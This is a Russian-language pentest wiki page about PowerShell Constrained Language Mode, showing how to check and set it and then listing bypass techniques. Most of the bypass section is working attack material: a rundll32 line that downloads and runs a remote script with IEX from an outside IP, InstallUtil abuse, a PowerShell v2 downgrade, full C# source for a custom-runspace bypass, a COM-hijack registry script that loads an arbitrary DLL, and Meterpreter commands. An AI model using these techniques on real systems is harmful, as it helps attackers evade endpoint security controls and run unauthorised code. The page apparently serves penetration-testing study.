Drakylar: Новая страница: «Категория:Pentest CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций. = Обще…»

2022-03-16T14:02:07Z

Новая страница: «Категория:Pentest CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций. = Обще…»

Новая страница

[[Категория:Pentest]]

CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций.

= Общее =

== Определить включен ли CLM ==

<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
PS C:\> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
</syntaxhighlight>

== Поменять режим(права админа) ==

<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
PS C:\> $ExecutionContext.SessionState.LanguageMode
FullLanguage
PS C:\> $ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
PS C:\> $ExecutionContext.SessionState.LanguageMode
ConstrainedLanguage
</syntaxhighlight>

Или выставить/удалить системную переменную окружения "__PSLockdownPolicy" (значение "4" если включено).

= Обход защиты =

== rundll32.exe ==

https://github.com/iomoath/PowerShx

https://github.com/ropbear/CLMBypass

<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
rundll32.exe CLMBypass.dll,Run IEX(New-Object Net.WebClient).DownloadString('http://192.168.49.72:8080/LAPSToolkit/LAPSToolkit.ps1');
rundll32 PowerShx.dll,main -i
PowerShx.exe -i
</syntaxhighlight>

== InstallUtil.exe ==

https://github.com/calebstewart/bypass-clm

<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
dir \Windows\Microsoft.NET\* /s/b | findstr InstallUtil.exe$

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U "C:\tmp\bypass-clm.exe"
</syntaxhighlight>

== powershell version 2 ==

<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
powershell -version 2
</syntaxhighlight>

== Custom PowerShell Runspace ==

<syntaxhighlight lang="csharp" line="1" enclose="div" style="overflow-x:scroll" >
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;

namespace CLMBypass
{
class Program
{
static void Main(string[] args)
{
String cmd = args[0];
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
}
}
</syntaxhighlight>

Скомпилировать как
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Csc.exe /r:"System.Management.Automation.dll" CLMBypass.cs
</syntaxhighlight>

Использовать
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
.\CLMBypss.exe "COMMAND"
</syntaxhighlight>

== dll loader - создание своего object type ==

Поместить DLL на сервер и запустить следующий код:
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
$dllPath = "C:\test.dll"
$uuid = "{72C24DD5-D70A-438B-8A42-98424B88D3AD}"

New-PSDrive -PSProvider Registry -Name HKU -Root HKEY_USERS -erroraction 'silentlycontinue' | Out-Null

$matches = whoami /user | select-string -Pattern "(S-1-5-[-0-9]+)" -all | select -ExpandProperty Matches
$sid = $matches.value

$key = 'HKU:\{0}_classes' -f $sid

# Добавление InProcServer
New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\CLSID\{1}' -f $sid, $uuid
New-Item -Path $key -Name 'InprocServer32' -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\CLSID\{1}\InprocServer32' -f $sid, $uuid
New-ItemProperty -Path $key -Name "(Default)" -Value $dllPath -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null

# Добавляем коротное название
$key = 'HKU:\{0}_classes' -f $sid
New-Item -Path $key -Name xpn -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\xpn' -f $sid
New-Item -Path $key -Name CLSID -erroraction 'silentlycontinue' | Out-Null
$key = 'HKU:\{0}_classes\xpn\CLSID' -f $sid
New-ItemProperty -Path $key -Name "(Default)" -Value $uuid -PropertyType String -Force -erroraction 'silentlycontinue' | Out-Null

# Запуск
New-Object -ComObject xpn -ErrorAction 'SilentlyContinue' | Out-Null
</syntaxhighlight>

Можно написать DLL, который будет отключать CLM.

Подробнее: https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/

== MSF Meterpreter ==

Meterpreter в метасплоите отключает защиту CLM.

Для этого нужно создать соединение, перейти в него и ввести следующие команды:
<syntaxhighlight lang="powershell" line="1" enclose="div" style="overflow-x:scroll" >
load powershell
powershell_shell
</syntaxhighlight>
= Ссылки =

Clm - История изменений

Drakylar: Новая страница: «Категория:Pentest CLM(Constrained Language Mode) - мера защиты powershell от вызова критичных функций. = Обще…»